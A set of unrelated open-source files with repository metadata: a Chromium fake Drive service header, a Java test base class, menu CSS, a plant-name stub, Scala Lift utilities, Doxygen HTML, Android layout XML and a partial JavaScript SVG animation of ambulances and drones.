void AddNewChangestamp(google_apis::ChangeResource* change);
// Update ETag of |file| based on |largest_changestamp_|.
void UpdateETag(google_apis::FileResource* file);
// Adds a new entry based on the given parameters.
// |resource_id| can be empty, in the case, the id is automatically generated.
// Returns a pointer to the newly added entry, or NULL if failed.
const EntryInfo* AddNewEntry(
const std::string& resource_id,
const std::string& content_type,
const std::string& content_data,
const std::string& parent_resource_id,
const std::string& title,
bool shared_with_me);
// Core implementation of GetChangeList.
// This method returns the slice of the all matched entries, and its range
// is between |start_offset| (inclusive) and |start_offset| + |max_results|
// (exclusive).
// Increments *load_counter by 1 before it returns successfully.
void GetChangeListInternal(
int64 start_changestamp,
const std::string& search_query,
const std::string& directory_resource_id,
int start_offset,
int max_results,
int* load_counter,
const google_apis::ChangeListCallback& callback);
// Returns new upload session URL.
GURL GetNewUploadSessionUrl();
void NotifyObservers();
// The class is expected to run on UI thread.
base::ThreadChecker thread_checker_;
typedef std::map<std::string, EntryInfo*> EntryInfoMap;
EntryInfoMap entries_;
scoped_ptr<google_apis::AboutResource> about_resource_;
scoped_ptr<base::DictionaryValue> app_info_value_;
std::map<GURL, UploadSession> upload_sessions_;
int64 published_date_seq_;
int64 next_upload_sequence_number_;
int default_max_results_;
int resource_id_count_;
int file_list_load_count_;
int change_list_load_count_;
int directory_load_count_;
int about_resource_load_count_;
int app_list_load_count_;
int blocked_file_list_load_count_;
bool offline_;
bool never_return_all_file_list_;
base::FilePath last_cancelled_file_;
GURL share_url_base_;
std::string app_json_template_;
std::string open_url_format_;
base::ObserverList<ChangeObserver> change_observers_;
base::WeakPtrFactory<FakeDriveService> weak_ptr_factory_;
DISALLOW_COPY_AND_ASSIGN(FakeDriveService);
};
} // namespace drive
#endif // COMPONENTS_DRIVE_SERVICE_FAKE_DRIVE_SERVICE_H_
| {
"content_hash": "558fc5cc2b74996e6668ec0ce2ae8487",
"timestamp": "",
"source": "github",
"line_count": 393,
"max_line_length": 80,
"avg_line_length": 40.025445292620866,
"alnum_prop": 0.7204068658614113,
"repo_name": "lihui7115/ChromiumGStreamerBackend",
"id": "09ae14a11413f093424478da4211f0974758d6c2",
"size": "16170",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "components/drive/service/fake_drive_service.h",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "AppleScript",
"bytes": "6973"
},
{
"name": "Arduino",
"bytes": "464"
},
{
"name": "Assembly",
"bytes": "37073"
},
{
"name": "Batchfile",
"bytes": "8451"
},
{
"name": "C",
"bytes": "9508834"
},
{
"name": "C++",
"bytes": "242598549"
},
{
"name": "CSS",
"bytes": "943747"
},
{
"name": "DM",
"bytes": "60"
},
{
"name": "Groff",
"bytes": "2494"
},
{
"name": "HTML",
"bytes": "27281878"
},
{
"name": "Java",
"bytes": "14561064"
},
{
"name": "JavaScript",
"bytes": "20540839"
},
{
"name": "Makefile",
"bytes": "70864"
},
{
"name": "Objective-C",
"bytes": "1745880"
},
{
"name": "Objective-C++",
"bytes": "10008668"
},
{
"name": "PHP",
"bytes": "97817"
},
{
"name": "PLpgSQL",
"bytes": "178732"
},
{
"name": "Perl",
"bytes": "63937"
},
{
"name": "Protocol Buffer",
"bytes": "482954"
},
{
"name": "Python",
"bytes": "8626890"
},
{
"name": "Shell",
"bytes": "481888"
},
{
"name": "Standard ML",
"bytes": "5106"
},
{
"name": "XSLT",
"bytes": "418"
},
{
"name": "nesC",
"bytes": "18347"
}
],
"symlink_target": ""
} |
package com.googlecode.batchfb.test;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.BeforeMethod;
import com.googlecode.batchfb.Batcher;
import com.googlecode.batchfb.FacebookBatcher;
/**
* Some simple tools common to all tests
*
* @author Jeff Schnitzer
*/
public class TestBase {
/** This should be set on the command line with a -DaccessToken=BLAH argument */
protected static final String ACCESS_TOKEN = System.getProperty("accessToken");
/** */
protected Batcher authBatcher;
protected Batcher anonBatcher;
@BeforeMethod
public void setUp() throws Exception {
this.authBatcher = new FacebookBatcher(ACCESS_TOKEN);
this.anonBatcher = new FacebookBatcher(null);
}
@AfterMethod
public void tearDown() throws Exception {
this.authBatcher = null;
this.anonBatcher = null;
}
} | {
"content_hash": "bea6d45f654e45985c00da0b5232fb9c",
"timestamp": "",
"source": "github",
"line_count": 37,
"max_line_length": 81,
"avg_line_length": 23.62162162162162,
"alnum_prop": 0.7242562929061785,
"repo_name": "google-code/batchfb",
"id": "be89f390a95351d6bdc6a15b8f0796b140db1f37",
"size": "2016",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/test/java/com/googlecode/batchfb/test/TestBase.java",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Java",
"bytes": "163424"
}
],
"symlink_target": ""
} |
/*
Responsive Mobile Menu v1.0
Plugin URI: responsivemobilemenu.com
Author: Sergio Vitov
Author URI: http://xmacros.com
License: CC BY 3.0 http://creativecommons.org/licenses/by/3.0/
*/
.rmm {
display:block;
position:relative;
width:100%;
padding:0px;
margin:0 auto !important;
text-align: center;
line-height:19px !important;
}
.rmm * {
-webkit-tap-highlight-color:transparent !important;
font-family:Arial;
}
.rmm a {
color:#ebebeb;
text-decoration:none;
}
.rmm .rmm-main-list, .rmm .rmm-main-list li {
margin:0px;
padding:0px;
}
.rmm ul {
display:block;
width:auto !important;
margin:0 auto !important;
overflow:hidden;
list-style:none;
}
/* sublevel menu - in construction */
.rmm ul li ul, .rmm ul li ul li, .rmm ul li ul li a {
display:none !important;
height:0px !important;
width:0px !important;
}
/* */
.rmm .rmm-main-list li {
display:inline;
padding:padding:0px;
margin:0px !important;
}
.rmm-toggled {
display:none;
width:100%;
position:relative;
overflow:hidden;
margin:0 auto !important;
}
.rmm-button:hover {
cursor:pointer;
}
.rmm .rmm-toggled ul {
display:none;
margin:0px !important;
padding:0px !important;
}
.rmm .rmm-toggled ul li {
display:block;
margin:0 auto !important;
}
/* GRAPHITE STYLE */
.rmm.graphite .rmm-main-list li a {
display:inline-block;
padding:8px 30px 8px 30px;
margin:0px -3px 0px -3px;
font-size:15px;
text-shadow:1px 1px 1px #333333;
background-color:#444444;
border-left:1px solid #555555;
background-image:url('../rmm-img/graphite-menu-bg.png');
background-repeat:repeat-x;
}
.rmm.graphite .rmm-main-list li a:hover {
background-image:url('../rmm-img/graphite-menu-bg-hover.png');
}
.rmm.graphite .rmm-main-list li:first-child a {
-webkit-border-top-left-radius: 6px;
-webkit-border-bottom-left-radius: 6px;
-moz-border-radius-topleft: 6px;
-moz-border-radius-bottomleft: 6px;
border-top-left-radius: 6px;
border-bottom-left-radius: 6px;
}
.rmm.graphite .rmm-main-list li:last-child a {
-webkit-border-top-right-radius: 6px;
-webkit-border-bottom-right-radius: 6px;
-moz-border-radius-topright: 6px;
-moz-border-radius-bottomright: 6px;
border-top-right-radius: 6px;
border-bottom-right-radius: 6px;
}
.rmm.graphite .rmm-toggled {
width:95%;
background-color:#555555;
min-height:36px;
border-radius:6px;
}
.rmm.graphite .rmm-toggled-controls {
display:block;
height:36px;
color:white;
text-align:left;
position:relative;
background-image:url('../rmm-img/graphite-menu-bg.png');
background-repeat:repeat-x;
border-radius:6px;
}
.rmm.graphite .rmm-toggled-title {
position:relative;
top:9px;
left:15px;
font-size:16px;
color:white;
text-shadow:1px 1px 1px black;
}
.rmm.graphite .rmm-button {
display:block;
position:absolute;
right:15px;
top:8px;
}
.rmm.graphite .rmm-button span {
display:block;
margin-top:4px;
height:2px;
background:white;
width:24px;
}
.rmm.graphite .rmm-toggled ul li a {
display:block;
width:100%;
background-color:#555555;
text-align:center;
padding:10px 0px 10px 0px;
border-bottom:1px solid #333333;
border-top:1px solid #777777;
text-shadow:1px 1px 1px #333333;
}
.rmm.graphite .rmm-toggled ul li a:active {
background-color:#444444;
border-bottom:1px solid #444444;
border-top:1px solid #444444;
}
/* SAPPHIRE STYLE */
.rmm.sapphire .rmm-main-list li a {
display:inline-block;
padding:8px 30px 8px 30px;
margin:0px -3px 0px -3px;
font-size:15px;
text-shadow:1px 1px 1px #3e587b;
background-color:#537b9f;
border-left:1px solid #3e587b;
background-image:url('../rmm-img/sapphire-menu-bg.png');
background-repeat:repeat-x;
}
.rmm.sapphire .rmm-main-list li a:hover {
background:#3e597b;
}
.rmm.sapphire .rmm-main-list li:first-child a {
-webkit-border-top-left-radius: 5px;
-webkit-border-bottom-left-radius: 5px;
-moz-border-radius-topleft: 5px;
-moz-border-radius-bottomleft: 5px;
border-top-left-radius: 5px;
border-bottom-left-radius: 5px;
}
.rmm.sapphire .rmm-main-list li:last-child a {
-webkit-border-top-right-radius: 5px;
-webkit-border-bottom-right-radius: 5px;
-moz-border-radius-topright: 5px;
-moz-border-radius-bottomright: 5px;
border-top-right-radius: 5px;
border-bottom-right-radius: 5px;
}
.rmm.sapphire .rmm-toggled {
width:95%;
background-color:#537b9f;
min-height:36px;
border-radius:6px;
}
.rmm.sapphire .rmm-toggled-controls {
display:block;
height:36px;
color:white;
text-align:left;
position:relative;
background-image:url('../rmm-img/sapphire-menu-bg.png');
background-repeat:repeat-x;
border-radius:5px;
}
.rmm.sapphire .rmm-toggled-title {
position:relative;
top:9px;
left:15px;
font-size:16px;
color:white;
text-shadow:1px 1px 1px #3e587b;
}
.rmm.sapphire .rmm-button {
display:block;
position:absolute;
right:9px;
top:7px;
width:20px;
padding:0px 7px 0px 7px;
border:1px solid #3e587b;
border-radius:3px;
background-image:url('../rmm-img/sapphire-menu-bg.png');
background-position:top;
}
.rmm.sapphire .rmm-button span {
display:block;
margin:4px 0px 4px 0px;
height:2px;
background:white;
width:20px;
}
.rmm.sapphire .rmm-toggled ul li a {
display:block;
width:100%;
background-color:#537698;
text-align:center;
padding:10px 0px 10px 0px;
border-bottom:1px solid #3c5779;
border-top:1px solid #6883a6;
text-shadow:1px 1px 1px #333333;
}
.rmm.sapphire .rmm-toggled ul li a:active {
background-color:#3c5779;
border-bottom:1px solid #3c5779;
border-top:1px solid #3c5779;
}
.rmm.sapphire .rmm-toggled ul li:first-child a {
border-top:1px solid #3c5779 !important;
}
/* MINIMAL STYLE */
.rmm.minimal a {
color:#333333;
}
.rmm.minimal a:hover {
opacity:0.7;
}
.rmm.minimal .rmm-main-list li a {
display:inline-block;
padding:8px 30px 8px 30px;
margin:0px -3px 0px -3px;
font-size:15px;
}
.rmm.minimal .rmm-toggled {
width:95%;
min-height:36px;
}
.rmm.minimal .rmm-toggled-controls {
display:block;
height:36px;
color:#333333;
text-align:left;
position:relative;
}
.rmm.minimal .rmm-toggled-title {
position:relative;
top:9px;
left:9px;
font-size:16px;
color:#33333;
}
.rmm.minimal .rmm-button {
display:block;
position:absolute;
right:9px;
top:7px;
}
.rmm.minimal .rmm-button span {
display:block;
margin:4px 0px 4px 0px;
height:2px;
background:#333333;
width:25px;
}
.rmm.minimal .rmm-toggled ul li a {
display:block;
width:100%;
text-align:center;
padding:10px 0px 10px 0px;
border-bottom:1px solid #dedede;
color:#333333;
}
.rmm.minimal .rmm-toggled ul li:first-child a {
border-top:1px solid #dedede;
}
| {
"content_hash": "624a359a291de7ddd1de5a99e33c8cb0",
"timestamp": "",
"source": "github",
"line_count": 323,
"max_line_length": 63,
"avg_line_length": 20.148606811145513,
"alnum_prop": 0.7194222495390289,
"repo_name": "shumanac/BBF",
"id": "e595e305aba383a0cbc0018b556bd1437e18d7ab",
"size": "6508",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "css/responsivemobilemenu.css",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "189844"
},
{
"name": "HTML",
"bytes": "19278"
},
{
"name": "JavaScript",
"bytes": "253032"
}
],
"symlink_target": ""
} |
SYNONYM
#### According to
The Catalogue of Life, 3rd January 2011
#### Published in
Prodr. 5:642. 1836
#### Original name
null
### Remarks
null | {
"content_hash": "72f2e080269e156b8e4314d5aa6c0e44",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 39,
"avg_line_length": 11.307692307692308,
"alnum_prop": 0.6870748299319728,
"repo_name": "mdoering/backbone",
"id": "f8ef1fd1af31680f4e29321530cb6e6bb06614d2",
"size": "200",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "life/Plantae/Magnoliophyta/Magnoliopsida/Asterales/Asteraceae/Thymophylla/Thymophylla pentachaeta/ Syn. Hymenatherum pentachaetum/README.md",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
package com.metl.utils
import net.liftweb.actor.LiftActor
import net.liftweb.http._
import net.liftweb.util.Helpers.TimeSpan
import net.liftweb.util.Schedule
case object Refresh
case object Stop
class PeriodicallyRefreshingVar[T](acceptedStaleTime:TimeSpan, valueCreationFunc:()=>T, startingValue:Option[T] = None) extends LiftActor{
protected var lastResult:T = startingValue.getOrElse(valueCreationFunc())
protected var running:Boolean = true;
protected def stop:Unit = {
running = false
}
scheduleRecheck
protected def scheduleRecheck:Unit = {
if (running){
Schedule.schedule(this,Refresh,acceptedStaleTime:TimeSpan)
}
}
protected def doGet:Unit = {
lastResult = valueCreationFunc()
scheduleRecheck
}
def get:T = lastResult
override def messageHandler = {
case Refresh => doGet
case Stop => stop
case _ => {}
}
}
class ChangeNotifyingSessionVar[T](dflt: =>T) extends SessionVar[T](dflt){
private var onChange:List[T=>Unit] = List.empty[T=>Unit]
override def setFunc(name:String,value:T)={
super.setFunc(name,value)
onChange.foreach(handler=>handler(value))
}
def subscribe(handler:T=>Unit)= onChange = handler :: onChange
def unsubscribe(handler:T=>Unit)= onChange = onChange.filterNot(_ == handler)
}
/*
class PeriodicallyExpiringMap[A,B](frequency:TimeSpan) extends LiftActor{
private def scheduleRecheck:Unit = Schedule.schedule(this,Refresh,frequency:TimeSpan)
def apply(k:A) = {
}
private def checkForExpiry = {
}
override def messageHandler = {
case Refresh => checkForExpiry
case _ => {}
}
}
*/
| {
"content_hash": "57fd060994a083e9bed1b1db33e8e4cc",
"timestamp": "",
"source": "github",
"line_count": 55,
"max_line_length": 138,
"avg_line_length": 29.09090909090909,
"alnum_prop": 0.72625,
"repo_name": "StackableRegiments/analyticalmetlx",
"id": "1318cc9d8ed704c18e71f58d76305ec527bea255",
"size": "1600",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/main/scala/com/metl/utils/PeriodicallyRefreshing.scala",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "1531"
},
{
"name": "CSS",
"bytes": "299028"
},
{
"name": "HTML",
"bytes": "383146"
},
{
"name": "JavaScript",
"bytes": "7384185"
},
{
"name": "PHP",
"bytes": "2157"
},
{
"name": "Scala",
"bytes": "1334628"
},
{
"name": "Shell",
"bytes": "4357"
}
],
"symlink_target": ""
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.4"/>
<title>Repast HPC: repast::CellContents< AgentContent, GPType > Class Template Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">Repast HPC
 <span id="projectnumber">2.0</span>
</div>
<div id="projectbrief">High-Performance Agent-Based Modeling Platform</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.4 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Friends</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Pages</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>repast</b></li><li class="navelem"><a class="el" href="classrepast_1_1_cell_contents.html">CellContents</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> |
<a href="#pub-attribs">Public Attributes</a> |
<a href="#friends">Friends</a> |
<a href="classrepast_1_1_cell_contents-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">repast::CellContents< AgentContent, GPType > Class Template Reference</div> </div>
</div><!--header-->
<div class="contents">
<p><em>DEPRECATED</em> Encapsulates the contents of a grid / space location so that it can be sent between processes.
<a href="classrepast_1_1_cell_contents.html#details">More...</a></p>
<p><code>#include <<a class="el" href="_shared_base_grid_8h_source.html">SharedBaseGrid.h</a>></code></p>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr class="memitem:afbe0f0f9af0d4d9351be254522984db6"><td class="memTemplParams" colspan="2"><a class="anchor" id="afbe0f0f9af0d4d9351be254522984db6"></a>
template<class Archive > </td></tr>
<tr class="memitem:afbe0f0f9af0d4d9351be254522984db6"><td class="memTemplItemLeft" align="right" valign="top">void </td><td class="memTemplItemRight" valign="bottom"><b>serialize</b> (Archive &ar, const unsigned int version)</td></tr>
<tr class="separator:afbe0f0f9af0d4d9351be254522984db6"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:afbd1679d216cdef051c0fc985327925f"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="afbd1679d216cdef051c0fc985327925f"></a>
 </td><td class="memItemRight" valign="bottom"><b>CellContents</b> (<a class="el" href="classrepast_1_1_point.html">Point</a>< GPType > pt)</td></tr>
<tr class="separator:afbd1679d216cdef051c0fc985327925f"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a>
Public Attributes</h2></td></tr>
<tr class="memitem:a77ce242dc0f59276008fdfb42a8db000"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a77ce242dc0f59276008fdfb42a8db000"></a>
<a class="el" href="classrepast_1_1_point.html">Point</a>< GPType > </td><td class="memItemRight" valign="bottom"><b>_pt</b></td></tr>
<tr class="separator:a77ce242dc0f59276008fdfb42a8db000"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad33d7bbe7d5b66190414d1e5e6791c50"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ad33d7bbe7d5b66190414d1e5e6791c50"></a>
std::vector< AgentContent > </td><td class="memItemRight" valign="bottom"><b>_objs</b></td></tr>
<tr class="separator:ad33d7bbe7d5b66190414d1e5e6791c50"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="friends"></a>
Friends</h2></td></tr>
<tr class="memitem:ac98d07dd8f7b70e16ccb9a01abf56b9c"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ac98d07dd8f7b70e16ccb9a01abf56b9c"></a>
class </td><td class="memItemRight" valign="bottom"><b>boost::serialization::access</b></td></tr>
<tr class="separator:ac98d07dd8f7b70e16ccb9a01abf56b9c"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><h3>template<typename AgentContent, typename GPType><br/>
class repast::CellContents< AgentContent, GPType ></h3>
<p><em>DEPRECATED</em> Encapsulates the contents of a grid / space location so that it can be sent between processes. </p>
<dl class="deprecated"><dt><b><a class="el" href="deprecated.html#_deprecated000001">Deprecated:</a></b></dt><dd>Replaced by <a class="el" href="classrepast_1_1_projection_info_packet.html" title="Serializable packet that can contain projection information regardless of the type of projection (net...">ProjectionInfoPacket</a> as of Version 2.0 </dd></dl>
</div><hr/>The documentation for this class was generated from the following file:<ul>
<li>repast_hpc/<a class="el" href="_shared_base_grid_8h_source.html">SharedBaseGrid.h</a></li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated on Sun Aug 11 2013 12:21:29 for Repast HPC by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.4
</small></address>
</body>
</html>
| {
"content_hash": "6a50f386ba74b27f60275409be595aff",
"timestamp": "",
"source": "github",
"line_count": 148,
"max_line_length": 960,
"avg_line_length": 62.95945945945946,
"alnum_prop": 0.6919939901266366,
"repo_name": "scamicha/SCC15HPCRepast",
"id": "357af678aef3b0a29d7b9f0786acf115fa063427",
"size": "9318",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "docs/API/repast_hpc/html/classrepast_1_1_cell_contents.html",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "C++",
"bytes": "1092895"
},
{
"name": "Makefile",
"bytes": "5884"
},
{
"name": "Python",
"bytes": "1338"
},
{
"name": "Shell",
"bytes": "3459"
}
],
"symlink_target": ""
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
Copyright 2017 Victor Campos
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<GridLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="wrap_content"
android:rowCount="2"
android:columnCount="2"
android:layout_rowSpan="1"
android:layout_columnSpan="1"
android:padding="5dp"
android:background="@drawable/card_background"
android:layout_height="wrap_content"
tools:targetApi="lollipop">
<ImageButton
android:longClickable="true"
android:id="@+id/btn_top"
android:background="@drawable/button_background"
android:src="@drawable/ic_vertical_align_top_grey_600_24dp"
android:layout_width="48dp"
android:layout_height="48dp" />
<ImageButton
android:id="@+id/btn_zoom_in"
android:background="@drawable/button_background"
android:src="@drawable/ic_zoom_in_grey_600_24dp"
android:layout_width="48dp"
android:layout_height="48dp" />
<ImageButton
android:longClickable="true"
android:id="@+id/btn_bottom"
android:background="@drawable/button_background"
android:src="@drawable/ic_vertical_align_bottom_grey_600_24dp"
android:layout_width="48dp"
android:layout_height="48dp" />
<ImageButton
android:id="@+id/btn_zoom_out"
android:background="@drawable/button_background"
android:src="@drawable/ic_zoom_out_grey_600_24dp"
android:layout_width="48dp"
android:layout_height="48dp"/>
</GridLayout> | {
"content_hash": "9a91936dbccaf40534e450e8a84e8407",
"timestamp": "",
"source": "github",
"line_count": 59,
"max_line_length": 72,
"avg_line_length": 35.94915254237288,
"alnum_prop": 0.693069306930693,
"repo_name": "vic797/prowebview",
"id": "21db82f8262ca277baf7349b9d376088d2502152",
"size": "2121",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "library/src/main/res/layout/virtual_buttons.xml",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "2284"
},
{
"name": "Java",
"bytes": "101390"
},
{
"name": "JavaScript",
"bytes": "44274"
}
],
"symlink_target": ""
} |
var gameSvg = document.getElementById("gameSVG");
var gameObjects = [];
var currentDrone = null;
var currentHelicopter = null;
var currentAmbulance = null;
var helicopterIndex = 0;
var droneIndex = 0;
var ambulanceIndex = 0;
var input = {
keyMap: {
37: 'left',
65: 'left',
39: 'right',
68: 'right',
38: 'up',
87: 'up',
40: 'down',
83: 'down'
},
activeKeys: {},
registerInputEvents: function() {
var keyMap = this.keyMap;
var activeKeys = this.activeKeys;
window.addEventListener('keydown', function(e) {
if (keyMap[e.keyCode]) {
activeKeys[keyMap[e.keyCode]] = true;
e.preventDefault();
}
}, false);
window.addEventListener('keyup', function(e) {
if (keyMap[e.keyCode]) {
activeKeys[keyMap[e.keyCode]] = false;
e.preventDefault();
}
}, false);
}
}
var util = {
fpsMeter: null,
laft: 0,
lft: 0,
initFPSMeter: function() {
this.fpsMeter = document.getElementById("gameSVG");
this.fpsMeter.innerHTML = this.fpsMeter.innerHTML + "<text id=\"fpsMeter\" x=\"20\" y=\"20\">" + "" + "</text>";
this.fpsMeter = document.getElementById("fpsMeter");
},
getFps: function(now) {
var fps = 1 / (now - this.laft) * 1000;
if (now - this.lft > 1000) {
this.lft = now;
this.fpsMeter.innerHTML = parseInt(fps);
}
this.laft = now;
return fps;
},
replaceAll: function(str, find, replace) {
return str.replace(new RegExp(find, 'g'), replace);
}
}
var Ambulance = {
id: 0,
lights: null,
lightList: ["#f55", "#f55", "#f55", "#55f", "#55f", "#55f", "#fff", "#fff", "#fff", "#f55", "#f55", "#55f", "#55f"],
lightIndex: 0,
animateLights: function() {
this.lights = document.getElementsByClassName("ambulance-lights");
for (var i = 0; i < this.lights.length; i++) {
this.lights[i].setAttribute("fill", this.lightList[(i + this.lightIndex) % this.lightList.length]);
}
this.lightIndex = (this.lightIndex + 1) % this.lightList.length;
},
wheels: null,
wheelAngles: [0, 30, 60, 90],
wheelAngleIndex: 0,
wheelCenters: [
[120, 150],
[330, 150]
],
currentX: 0,
currentY: 0,
scale: 0,
init: function(id, scale, x, y) {
this.id = id;
var transformStr = "translate(" + x + "," + y + ") scale(" + scale + ")";
document.getElementById("ambulance-" + this.id).setAttribute("transform", transformStr);
},
animateWheels: function() {
this.wheels = document.getElementsByClassName("ambulance-wheel-spokes");
for (var i = 0; i < this.wheels.length; i++) {
this.wheels[i].setAttribute("transform",
"rotate(" + this.wheelAngles[(i + this.wheelAngleIndex) % this.wheelAngles.length] +
"," + this.wheelCenters[i % 2][0] + "," + this.wheelCenters[i % 2][1] + ")");
}
this.wheelAngleIndex = (this.wheelAngleIndex + 1) % this.wheelAngles.length;
this.currentX = this.currentX + 1;
var transformStr = document.getElementById("ambulance-" + this.id).getAttribute("transform");
this.currentY = transformStr.split(",")[1].split(")")[0];
this.scale = transformStr.split(",")[1].split(")")[1].split("(")[1];
document.getElementById("ambulance-" + this.id).setAttribute("transform", "translate(" + this.currentX + ", " + this.currentY + ") scale(" + this.scale + ")");
},
animate: function() {
this.animateLights();
this.animateWheels();
}
}
function addAmbulanceToGameSvg(scale, x, y) {
var svgObject = document.getElementById("ambulanceSVG").cloneNode(true);
svgObject.innerHTML = svgObject.innerHTML.replace("id=\"ambulance\"", "id=\"ambulance-" + ambulanceIndex + "\"");
gameSvg.innerHTML = gameSvg.innerHTML + svgObject.innerHTML;
currentAmbulance = Object.create(Ambulance);
currentAmbulance.init(ambulanceIndex, scale, x, y);
ambulanceIndex = ambulanceIndex + 1;
}
addAmbulanceToGameSvg(0.5, 0, 600);
addAmbulanceToGameSvg(0.6, 0, 700);
var Drone = {
id: 0,
currentX: 0,
droneRotors: null,
rotorAngles: [0, 30, 60, 90],
rotorAngleIndex: 0,
rotorCenters: [
[40, 40],
[40, 160],
[160, 40],
[160, 160]
],
init: function(id) {
this.id = id;
},
animate: function() {
this.droneRotors = document.getElementsByClassName("drone-rotor");
